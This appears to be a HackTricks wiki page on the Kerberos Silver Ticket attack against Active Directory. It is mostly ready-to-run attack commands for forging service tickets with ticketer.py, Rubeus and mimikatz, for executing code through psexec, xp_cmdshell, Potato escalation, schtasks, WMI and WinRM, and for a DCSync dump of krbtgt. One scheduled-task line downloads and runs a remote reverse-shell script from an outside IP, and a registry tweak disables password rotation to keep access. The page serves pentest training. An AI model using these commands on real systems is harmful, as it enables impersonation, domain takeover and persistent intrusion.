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210 lines
8.6 KiB
Markdown
210 lines
8.6 KiB
Markdown
# Silver Ticket
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{{#include ../../banners/hacktricks-training.md}}
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## Silver ticket
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The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquiring the NTLM hash of a service account**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **impersonating any user**, typically aiming for administrative privileges. It's emphasized that using AES keys for forging tickets is more secure and less detectable.
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> [!WARNING]
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> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
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Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
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For ticket crafting, different tools are employed based on the operating system:
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### On Linux
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```bash
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python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
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export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
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python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
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```
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### On Windows
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```bash
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# Using Rubeus
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## /ldap option is used to get domain data automatically
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## With /ptt we already load the tickt in memory
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rubeus.exe asktgs /user:<USER> [/rc4:<HASH> /aes128:<HASH> /aes256:<HASH>] /domain:<DOMAIN> /ldap /service:cifs/domain.local /ptt /nowrap /printcmd
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# Create the ticket
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mimikatz.exe "kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN_SID> /rc4:<HASH> /user:<USER> /service:<SERVICE> /target:<TARGET>"
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# Inject the ticket
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mimikatz.exe "kerberos::ptt <TICKET_FILE>"
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.\Rubeus.exe ptt /ticket:<TICKET_FILE>
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# Obtain a shell
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.\PsExec.exe -accepteula \\<TARGET> cmd
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```
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The CIFS service is highlighted as a common target for accessing the victim's file system, but other services like HOST and RPCSS can also be exploited for tasks and WMI queries.
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### Example: MSSQL service (MSSQLSvc) + Potato to SYSTEM
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If you have the NTLM hash (or AES key) of a SQL service account (e.g., sqlsvc) you can forge a TGS for the MSSQL SPN and impersonate any user to the SQL service. From there, enable xp_cmdshell to execute commands as the SQL service account. If that token has SeImpersonatePrivilege, chain a Potato to elevate to SYSTEM.
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```bash
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# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
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python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
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-spn MSSQLSvc/<host.fqdn>:1433 administrator
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export KRB5CCNAME=$PWD/administrator.ccache
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# Connect to SQL using Kerberos and run commands via xp_cmdshell
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impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
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-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
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```
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- If the resulting context has SeImpersonatePrivilege (often true for service accounts), use a Potato variant to get SYSTEM:
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```bash
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# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
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PrintSpoofer.exe -c "cmd /c whoami"
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# or
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GodPotato -cmd "cmd /c whoami"
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```
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More details on abusing MSSQL and enabling xp_cmdshell:
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{{#ref}}
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abusing-ad-mssql.md
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{{#endref}}
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Potato techniques overview:
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{{#ref}}
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../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
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{{#endref}}
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## Available Services
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| Service Type | Service Silver Tickets |
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| ------------------------------------------ | -------------------------------------------------------------------------- |
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| WMI | <p>HOST</p><p>RPCSS</p> |
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| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
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| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
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| Scheduled Tasks | HOST |
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| Windows File Share, also psexec | CIFS |
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| LDAP operations, included DCSync | LDAP |
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| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
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| Golden Tickets | krbtgt |
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Using **Rubeus** you may **ask for all** these tickets using the parameter:
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- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
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### Silver tickets Event IDs
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- 4624: Account Logon
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- 4634: Account Logoff
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- 4672: Admin Logon
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## Persistence
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To avoid machines from rotating their password every 30 days set `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` or you could set `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` to a bigger value than 30days to indicate the rotation perdiod when the machines password should be rotated.
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## Abusing Service tickets
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In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.
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### CIFS
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With this ticket you will be able to access the `C$` and `ADMIN$` folder via **SMB** (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
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```bash
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dir \\vulnerable.computer\C$
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dir \\vulnerable.computer\ADMIN$
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copy afile.txt \\vulnerable.computer\C$\Windows\Temp
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```
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You will also be able to obtain a shell inside the host or execute arbitrary commands using **psexec**:
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{{#ref}}
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../lateral-movement/psexec-and-winexec.md
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{{#endref}}
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### HOST
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With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:
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```bash
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#Check you have permissions to use schtasks over a remote server
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schtasks /S some.vuln.pc
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#Create scheduled task, first for exe execution, second for powershell reverse shell download
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schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
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schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
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#Check it was successfully created
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schtasks /query /S some.vuln.pc
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#Run created schtask now
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schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
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```
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### HOST + RPCSS
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With these tickets you can **execute WMI in the victim system**:
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```bash
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#Check you have enough privileges
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Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
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#Execute code
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Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
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#You can also use wmic
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wmic remote.computer.local list full /format:list
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```
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Find **more information about wmiexec** in the following page:
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{{#ref}}
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../lateral-movement/wmiexec.md
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{{#endref}}
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### HOST + WSMAN (WINRM)
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With winrm access over a computer you can **access it** and even get a PowerShell:
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```bash
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New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
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```
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Check the following page to learn **more ways to connect with a remote host using winrm**:
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{{#ref}}
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../lateral-movement/winrm.md
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{{#endref}}
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> [!WARNING]
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> Note that **winrm must be active and listening** on the remote computer to access it.
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### LDAP
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With this privilege you can dump the DC database using **DCSync**:
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```
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mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
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```
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**Learn more about DCSync** in the following page:
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{{#ref}}
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dcsync.md
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{{#endref}}
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## References
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- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
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- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
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- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
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- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
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{{#include ../../banners/hacktricks-training.md}} |